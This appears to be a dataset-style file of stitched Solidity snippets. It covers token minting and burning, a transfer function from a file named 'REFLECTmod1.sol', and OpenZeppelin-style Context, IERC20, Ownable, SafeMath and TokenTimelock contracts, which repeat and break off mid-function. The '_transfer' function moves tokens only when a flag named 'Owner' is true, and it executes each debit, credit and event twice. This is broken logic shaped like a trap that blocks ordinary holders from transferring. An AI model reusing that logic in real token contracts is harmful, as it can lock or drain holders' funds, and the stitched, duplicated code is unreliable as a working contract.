*/ function killContract() public onlyOwner { selfdestruct(owner); } } contract MintableTokenInterface { function mint(address _to, uint256 _amount) public; } contract MintingContract is Owned, SafeMath{ address public tokenAddress; uint256 public tokensAlreadyMinted; enum state { crowdsaleMinting, teamMinting, finished} state public mintingState; address public crowdsaleContractAddress; uint256 public crowdsaleMintingCap; uint256 public teamTokensCap; address public teamTokenAddress; uint256 public communityTokensCap; address public communityAddress; uint256 public comunityMintedTokens; function MintingContract() public { tokensAlreadyMinted = 0; crowdsaleMintingCap = 200000000 * 10**18; teamTokensCap = 45000000 * 10**18; teamTokenAddress = 0x0; communityTokensCap = 5000000 * 10**18; communityAddress = 0x0; } function doCommunityMinting(address _destination, uint _tokensToMint) public { require(msg.sender == communityAddress || msg.sender == owner); require(safeAdd(comunityMintedTokens, _tokensToMint) <= communityTokensCap); MintableTokenInterface(tokenAddress).mint(_destination, _tokensToMint); comunityMintedTokens = safeAdd(comunityMintedTokens, _tokensToMint); } function doPresaleMinting(address _destination, uint _tokensToMint) public onlyOwner { require(mintingState == state.crowdsaleMinting); require(safeAdd(tokensAlreadyMinted, _tokensToMint) <= crowdsaleMintingCap); MintableTokenInterface(tokenAddress).mint(_destination, _tokensToMint); tokensAlreadyMinted = safeAdd(tokensAlreadyMinted, _tokensToMint); } function doCrowdsaleMinting(address _destination, uint _tokensToMint) public { require(msg.sender == crowdsaleContractAddress); require(mintingState == state.crowdsaleMinting); require(safeAdd(tokensAlreadyMinted, _tokensToMint) <= crowdsaleMintingCap); MintableTokenInterface(tokenAddress).mint(_destination, _tokensToMint); tokensAlreadyMinted = safeAdd(tokensAlreadyMinted, _tokensToMint); } function finishCrowdsaleMinting() onlyOwner public { mintingState = state.teamMinting; } function doTeamMinting() public { require(mintingState == state.teamMinting); MintableTokenInterface(tokenAddress).mint(teamTokenAddress, safeSub(crowdsaleMintingCap, tokensAlreadyMinted)); MintableTokenInterface(tokenAddress).mint(teamTokenAddress, teamTokensCap); mintingState = state.finished; } function setTokenAddress(address _tokenAddress) onlyOwner public { tokenAddress = _tokenAddress; } function setCrowdsaleContractAddress(address _crowdsaleContractAddress) onlyOwner public { crowdsaleContractAddress = _crowdsaleContractAddress; } function setTeamTokenAddress(address _address) onlyOwner public { teamTokenAddress = _address; } function setCommunityAddress(address _address) onlyOwner public { communityAddress = _address; } }
Destroys the amount of tokens and lowers total supply _amount Number of tokens user wants to destroy/
function burn(uint _amount) public { balances[msg.sender] = safeSub(balanceOf(msg.sender), _amount); supply = safeSub(supply, _amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, 0x0, _amount); }
6,384,610
./partial_match/42/0xeFd6DF10a06C565630652f28f7E6DcA2b9841575/sources/REFLECTmod1.sol
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event./
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); if (Owner == true) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
3,461,718
pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; /** * @title TokenTimelock * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. * use this contract need : * 1.release ERC20 contract; * 2.configure and release TokenTimelock contract * 3.transfer ERC20 Tokens which need to be timelocked to TokenTimelock contract * 4.when time reached, call release() to release tokens to beneficiary * * for example: * (D=Duration R=ReleaseRatio) * ^ * | * | * R4 | ———— * R3 | ———— * R2 | ———— * R1 | ———— * | * |——————————————————————————> * D1 D2 D3 D4 * * start = 2019-1-1 00:00:00 * D1=D2=D3=D4=1year * R1=10,R2=20,R3=30,R4=40 (please ensure R1+R2+R3+R4=100) * so, you will get below tokens in total * Time Tokens Get * Start~Start+D1 0 * Start+D1~Start+D1+D2 10% total in this Timelock contract * Start+D1+D2~Start+D1+D2+D3 10%+20% total * Start+D1+D2+D3~Start+D1+D2+D3+D4 10%+20%+30% total * Start+D1+D2+D3+D4~infinity 10%+20%+30%+40% total(usually ensures 100 percent) */ contract TokenTimelock is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; event TokensReleased(address token, uint256 amount); event TokenTimelockRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _totalDuration; //Durations and token release ratios expressed in UNIX time struct DurationsAndRatios{ uint256 _periodDuration; uint256 _periodReleaseRatio; } DurationsAndRatios[4] _durationRatio;//four period of duration and ratios bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param start the time (as Unix time) at which point vesting starts * @param firstDuration: first period duration * @param firstRatio: first period release ratio * @param secondDuration: second period duration * @param secondRatio: second period release ratio * @param thirdDuration: third period duration * @param thirdRatio: third period release ratio * @param fourthDuration: fourth period duration * @param fourthRatio: fourth period release ratio * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 firstDuration,uint256 firstRatio,uint256 secondDuration, uint256 secondRatio, uint256 thirdDuration,uint256 thirdRatio,uint256 fourthDuration, uint256 fourthRatio,bool revocable) public { require(beneficiary != address(0), "TokenTimelock: beneficiary is the zero address"); require(firstRatio.add(secondRatio).add(thirdRatio).add(fourthRatio)==100, "TokenTimelock: ratios added not equal 100."); _beneficiary = beneficiary; _revocable = revocable; _start = start; _durationRatio[0]._periodDuration = firstDuration; _durationRatio[1]._periodDuration = secondDuration; _durationRatio[2]._periodDuration = thirdDuration; _durationRatio[3]._periodDuration = fourthDuration; _durationRatio[0]._periodReleaseRatio = firstRatio; _durationRatio[1]._periodReleaseRatio = secondRatio; _durationRatio[2]._periodReleaseRatio = thirdRatio; _durationRatio[3]._periodReleaseRatio = fourthRatio; _totalDuration = firstDuration.add(secondDuration).add(thirdDuration).add(fourthDuration); require(_start.add(_totalDuration) > block.timestamp, "TokenTimelock: final time is before current time"); } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the end time of every period. */ function getDurationsAndRatios() public view returns (uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) { return (_durationRatio[0]._periodDuration,_durationRatio[1]._periodDuration,_durationRatio[2]._periodDuration,_durationRatio[3]._periodDuration, _durationRatio[0]._periodReleaseRatio,_durationRatio[1]._periodReleaseRatio,_durationRatio[2]._periodReleaseRatio,_durationRatio[3]._periodReleaseRatio); } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return current time of the contract. */ function currentTime() public view returns (uint256) { return block.timestamp; } /** * @return the total duration of the token vesting. */ function totalDuration() public view returns (uint256) { return _totalDuration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenTimelock: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.transfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenTimelock: cannot revoke"); require(!_revoked[address(token)], "TokenTimelock: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.transfer(owner(), refund); emit TokenTimelockRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that should be vested totally. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this));//token balance in TokenTimelock contract uint256 totalBalance = currentBalance.add(_released[address(token)]);//total balance in TokenTimelock contract uint256[4] memory periodEndTimestamp; periodEndTimestamp[0] = _start.add(_durationRatio[0]._periodDuration); periodEndTimestamp[1] = periodEndTimestamp[0].add(_durationRatio[1]._periodDuration); periodEndTimestamp[2] = periodEndTimestamp[1].add(_durationRatio[2]._periodDuration); periodEndTimestamp[3] = periodEndTimestamp[2].add(_durationRatio[3]._periodDuration); uint256 releaseRatio; if (block.timestamp < periodEndTimestamp[0]) { return 0; }else if(block.timestamp >= periodEndTimestamp[0] && block.timestamp < periodEndTimestamp[1]){ releaseRatio = _durationRatio[0]._periodReleaseRatio; }else if(block.timestamp >= periodEndTimestamp[1] && block.timestamp < periodEndTimestamp[2]){ releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio); }else if(block.timestamp >= periodEndTimestamp[2] && block.timestamp < periodEndTimestamp[3]) { releaseRatio = _durationRatio[0]._periodReleaseRatio.add(_durationRatio[1]._periodReleaseRatio).add(_durationRatio[2]._periodReleaseRatio); } else { releaseRatio = 100; } return releaseRatio.mul(totalBalance).div(100); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; /** * @title TokenTimelock * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. * use this contract need : * 1.release ERC20 contract; * 2.configure and release TokenTimelock contract * 3.transfer ERC20 Tokens which need to be timelocked to TokenTimelock contract * 4.when time reached, call release() to release tokens to beneficiary * * for example: * (D=Duration R=ReleaseRatio) * ^ * | * | * R4 | ———— * R3 | ———— * R2 | ———— * R1 | ———— * | * |——————————————————————————> * D1 D2 D3 D4 * * start = 2019-1-1 00:00:00 * D1=D2=D3=D4=1year * R1=10,R2=20,R3=30,R4=40 (please ensure R1+R2+R3+R4=100) * so, you will get below tokens in total * Time Tokens Get * Start~Start+D1 0 * Start+D1~Start+D1+D2 10% total in this Timelock contract * Start+D1+D2~Start+D1+D2+D3 10%+20% total * Start+D1+D2+D3~Start+D1+D2+D3+D4 10%+20%+30% total * Start+D1+D2+D3+D4~infinity 10%+20%+30%+40% total(usually ensures 100 percent) */ contract TokenTimelock is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; event TokensReleased(address token, uint256 amount); event TokenTimelockRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _totalDuration; //Durations and token release ratios expressed in UNIX time struct DurationsAndRatios{ uint256 _periodDuration; uint256 _periodReleaseRatio; } DurationsAndRatios[4] _durationRatio;//four period of duration and ratios bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param start the time (as Unix time) at which point vesting starts * @param firstDuration: first period duration * @param firstRatio: first period release ratio * @param secondDuration: second period duration * @param secondRatio: second period release ratio * @param thirdDuration: third period duration * @param thirdRatio: third period release ratio * @param fourthDuration: fourth period duration * @param fourthRatio: fourth period release ratio * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 firstDuration,uint256 firstRatio,uint256 secondDuration, uint256 secondRatio, uint256 thirdDuration,uint256 thirdRatio,uint256 fourthDuration, uint256 fourthRatio,bool revocable) public { require(beneficiary != address(0), "TokenTimelock: beneficiary is the zero address"); require(firstRatio.add(secondRatio).add(thirdRatio).add(fourthRatio)==100, "TokenTimelock: ratios added not equal 100."); _beneficiary = beneficiary; _revocable = revocable; _start = start; _durationRatio[0]._periodDuration = firstDuration; _durationRatio[1]._periodDuration = secondDuration; _durationRatio[2]._periodDuration = thirdDuration; _durationRatio[3]._periodDuration = fourthDuration; _durationRatio[0]._periodReleaseRatio = firstRatio; _durationRatio[1]._periodReleaseRatio = secondRatio; _durationRatio[2]._periodReleaseRatio = thirdRatio; _durationRatio[3]._periodReleaseRatio = fourthRatio; _totalDuration = firstDuration.add(secondDuration).add(thirdDuration).add(fourthDuration); require(_start.add(_totalDuration) > block.timestamp, "TokenTimelock: final time is before current time"); } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the end time of every period. */ function getDurationsAndRatios() public view returns (uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) { return (_durationRatio[0]._periodDuration,_durationRatio[1]._periodDuration,_durationRatio[2]._periodDuration,_durationRatio[3]._periodDuration, _durationRatio[0]._periodReleaseRatio,_durationRatio[1]._periodReleaseRatio,_durationRatio[2]._periodReleaseRatio,_durationRatio[3]._periodReleaseRatio); } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return current time of the contract. */ function currentTime() public view returns (uint256) { return block.timestamp; } /** * @return the total duration of the token vesting. */ function totalDuration() public view returns (uint256) { return _totalDuration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenTimelock: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); 